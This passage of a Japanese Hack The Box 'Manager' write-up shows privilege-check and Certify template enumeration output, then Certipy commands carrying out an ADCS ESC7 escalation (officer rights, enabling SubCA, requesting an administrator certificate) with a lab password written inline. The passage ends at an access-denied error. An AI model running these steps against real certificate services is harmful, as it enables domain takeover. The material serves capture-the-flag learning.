┃ accessed, even if the kernel is compromised.                 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Low (1 finding)


DeviceGuardSecurityServicesConfigured : (null)
DeviceGuardSecurityServicesRunning    : (null)
Description                           : Credential Guard is not configured. Credential Guard is not running.



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0003 - Persistence                              ┃
┃ NAME     ┃ UEFI & Secure Boot                                ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether UEFI and Secure Boot are supported and         ┃
┃ enabled. Note that Secure Boot requires UEFI.                ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Low (2 findings)

Name        Vulnerable Description
----        ---------- -----------
UEFI             False BIOS mode is UEFI.
Secure Boot       True Secure Boot is not enabled.


┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0008 - Lateral Movement                         ┃
┃ NAME     ┃ LAPS                                              ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether LAPS is configured and enabled. Note that this ┃
┃ applies to domain-joined machines only.                      ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Medium (1 finding)


Key         : HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd
Value       : AdmPwdEnabled
Data        : (null)
Description : LAPS is not configured.



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0001 - Initial Access                           ┃
┃ NAME     ┃ BitLocker configuration                           ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether BitLocker is enabled on the system drive and   ┃
┃ requires a second factor of authentication (PIN or startup   ┃
┃ key). Note that this check might yield a false positive if a ┃
┃ third-party drive encryption software is installed.          ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Nothing found
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ PATH folder permissions                           ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether the current user has any write permissions on  ┃
┃ the system-wide PATH folders. If so, the system could be     ┃
┃ vulnerable to privilege escalation through ghost DLL         ┃
┃ hijacking.                                                   ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Nothing found
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ Known ghost DLLs                                  ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Get information about services that are known to be prone to ┃
┃ ghost DLL hijacking. Note that their exploitation requires   ┃
┃ the current user to have write permissions on at least one   ┃
┃ system-wide PATH folder.                                     ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Informational (4 findings)


Name           : cdpsgshims.dll
Description    : Loaded by the Connected Devices Platform Service (CDPSvc) upon startup.
RunAs          : NT AUTHORITY\LocalService
RebootRequired : True
Link           : https://nafiez.github.io/security/eop/2019/11/05/windows-service-host-process-eop.html

Name           : WptsExtensions.dll
Description    : Loaded by the Task Scheduler service (Schedule) upon startup.
RunAs          : LocalSystem
RebootRequired : True
Link           : http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html

Name           : SprintCSP.dll
Description    : Loaded by the Storage Service (StorSvc) when the RPC procedure 'SvcRebootToFlashingMode' is invoked.
RunAs          : LocalSystem
RebootRequired : False
Link           : https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc

Name           : wlanapi.dll
Description    : Loaded by the Network Connections service (NetMan) when listing network interfaces.
RunAs          : LocalSystem
RebootRequired : False
Link           : https://itm4n.github.io/windows-server-netman-dll-hijacking/



...省略

┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ Driver co-installers                              ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether Driver Co-installers are disabled. A local     ┃
┃ user might be able to gain SYSTEM privileges by plugging in  ┃
┃ a device such as a mouse or keyboard with a vulnerable       ┃
┃ Driver Co-installer.                                         ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Low (1 finding)


Key         : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer
Value       : DisableCoInstallers
Data        : (null)
Description : Driver Co-installers are not disabled (default).




┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃                 ~~~ PrivescCheck Summary ~~~                 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
 TA0003 - Persistence
 -
 UEFI & Secure Boot →
 Low
 (2 finding
s)
 TA0004 - Privilege Escalation
 -
 Driver co-installers →
 Low
 (1 finding
)
 TA0006 - Credential Access
 -
 Credential Guard →
 Low
 (1 finding
)
 -
 LSA Protection →
 Low
 (1 finding
)
 TA0008 - Lateral Movement
 -
 LAPS →
 Medium
 (1 finding
)
 -
 UAC settings →
 Low
 (3 finding
s)

Warning: To get more info, run this script with the option '-Extended'.
```
ここら辺を試してみてもいいが、それよりやはり、`certsrv`が気になるだろう。
一応`ps`でも確認しておく。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c84e81ac-92d2-12ca-7b2c-956c5ad3f95b.png)
あった！

## Certify
Certifyで脆弱な証明書を確認します。
```powershell
*Evil-WinRM* PS C:\Users\Raven\Documents> ./Certify.exe find /vulnarable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ |__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=manager,DC=htb'

[*] Listing info about the Enterprise CA 'manager-DC01-CA'

    Enterprise CA Name            : manager-DC01-CA
    DNS Hostname                  : dc01.manager.htb
    FullName                      : dc01.manager.htb\manager-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=manager-DC01-CA, DC=manager, DC=htb
    Cert Thumbprint               : ACE850A2892B1614526F7F2151EE76E752415023
    Cert Serial                   : 5150CE6EC048749448C7390A52F264BB
    Cert Start Date               : 7/27/2023 3:21:05 AM
    Cert End Date                 : 7/27/2122 3:31:04 AM
    Cert Chain                    : CN=manager-DC01-CA,DC=manager,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Deny   ManageCA, Read                             MANAGER\Operator              S-1-5-21-4078382237-1492182817-2568127209-1119
      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Allow  ManageCA, Enroll                           MANAGER\Raven                 S-1-5-21-4078382237-1492182817-2568127209-1116
      Allow  Enroll                                     MANAGER\Operator              S-1-5-21-4078382237-1492182817-2568127209-1119
    Enrollment Agent Restrictions : None

[*] Available Certificates Templates :

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : User
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Users          S-1-5-21-4078382237-1492182817-2568127209-513
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : EFS
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Encrypting File System
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Users          S-1-5-21-4078382237-1492182817-2568127209-513
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : Administrator
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Microsoft Trust List Signing, Secure Email
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : EFSRecovery
    Schema Version                        : 1
    Validity Period                       : 5 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : File Recovery
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : Machine
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Computers      S-1-5-21-4078382237-1492182817-2568127209-515
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : DomainController
    Schema Version                        : 1
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DIRECTORY_GUID, SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Controllers    S-1-5-21-4078382237-1492182817-2568127209-516
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
                                      MANAGER\Enterprise Read-only Domain ControllersS-1-5-21-4078382237-1492182817-2568127209-498
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : WebServer
    Schema Version                        : 1
    Validity Period                       : 2 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : NONE
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Server Authentication
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : SubCA
    Schema Version                        : 1
    Validity Period                       : 5 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : NONE
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : <null>
    mspki-certificate-application-policy  : <null>
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : DomainControllerAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Controllers    S-1-5-21-4078382237-1492182817-2568127209-516
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
                                      MANAGER\Enterprise Read-only Domain ControllersS-1-5-21-4078382237-1492182817-2568127209-498
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : DirectoryEmailReplication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DIRECTORY_GUID, SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Directory Service Email Replication
    mspki-certificate-application-policy  : Directory Service Email Replication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Controllers    S-1-5-21-4078382237-1492182817-2568127209-516
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
                                      MANAGER\Enterprise Read-only Domain ControllersS-1-5-21-4078382237-1492182817-2568127209-498
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519

    CA Name                               : dc01.manager.htb\manager-DC01-CA
    Template Name                         : KerberosAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Domain Controllers    S-1-5-21-4078382237-1492182817-2568127209-516
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
                                      MANAGER\Enterprise Read-only Domain ControllersS-1-5-21-4078382237-1492182817-2568127209-498
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteOwner Principals       : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : MANAGER\Domain Admins         S-1-5-21-4078382237-1492182817-2568127209-512
                                      MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519



Certify completed in 00:00:08.5889780
```
デフォルトである証明書が多いが気になるものがある。
`SubCA`である。これは以下のHackTricksのADCSのドメイン昇格法を読み込んだ人ならば`ESC7 - Attack2`を実践できそうであることがわかるかと思う。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

> The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.

これはCAへのアクセス権が必要になるが、まぁやってみる価値はあると思う。
最初のコマンドが失敗すればアクセス権がないとなってほかの攻撃ベクトルを探るだけだ。

## ADCS - ESC7
CAへのアクセス権があるかどうか確認しつつ、失敗するリクエストのIDを控えに行きます。
```bash
┌──(root㉿kali)-[~/work]
└─# certipy ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -debug && certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -debug && certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -template SubCA -upn 'administrator@manager.htb' -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'MANAGER.HTB' at '192.168.40.1'
[+] Resolved 'MANAGER.HTB' from cache: 10.129.144.30
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.144.30:636 - ssl
[+] Default path: DC=manager,DC=htb
[+] Configuration path: CN=Configuration,DC=manager,DC=htb
[+] Trying to get DCOM connection for: 10.129.144.30
[*] User 'Raven' already has officer rights on 'manager-DC01-CA'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'MANAGER.HTB' at '192.168.40.1'
[+] Resolved 'MANAGER.HTB' from cache: 10.129.144.30
[+] Trying to get DCOM connection for: 10.129.144.30
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.144.30:636 - ssl
[+] Default path: DC=manager,DC=htb
[+] Configuration path: CN=Configuration,DC=manager,DC=htb
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'dc01.manager.htb' at '192.168.40.1'
[+] Trying to resolve 'MANAGER.HTB' at '192.168.40.1'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.144.30[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.144.30[\pipe\cert]
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 14
Would you like to save the private key? (y/N) y
[*] Saved private key to 14.key
[-] Failed to request certificate
```
いけました！
このIDで再度CAから発行された証明書を取りに行きます。
失敗するときは`ntpdate 10.129.144.30`と打ってBOXと時刻を同期します。
```bash
┌──(root㉿kali)-[~/work]
└─# certipy ca -ca 'manager-DC01-CA' -issue-request 14 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -debug && certipy req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target dc01.manager.htb -retrieve 14 -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'MANAGER.HTB' at '192.168.40.1'
[+] Resolved 'MANAGER.HTB' from cache: 10.129.144.30
[+] Trying to get DCOM connection for: 10.129.144.30
[-] Got access denied trying to issue certificate
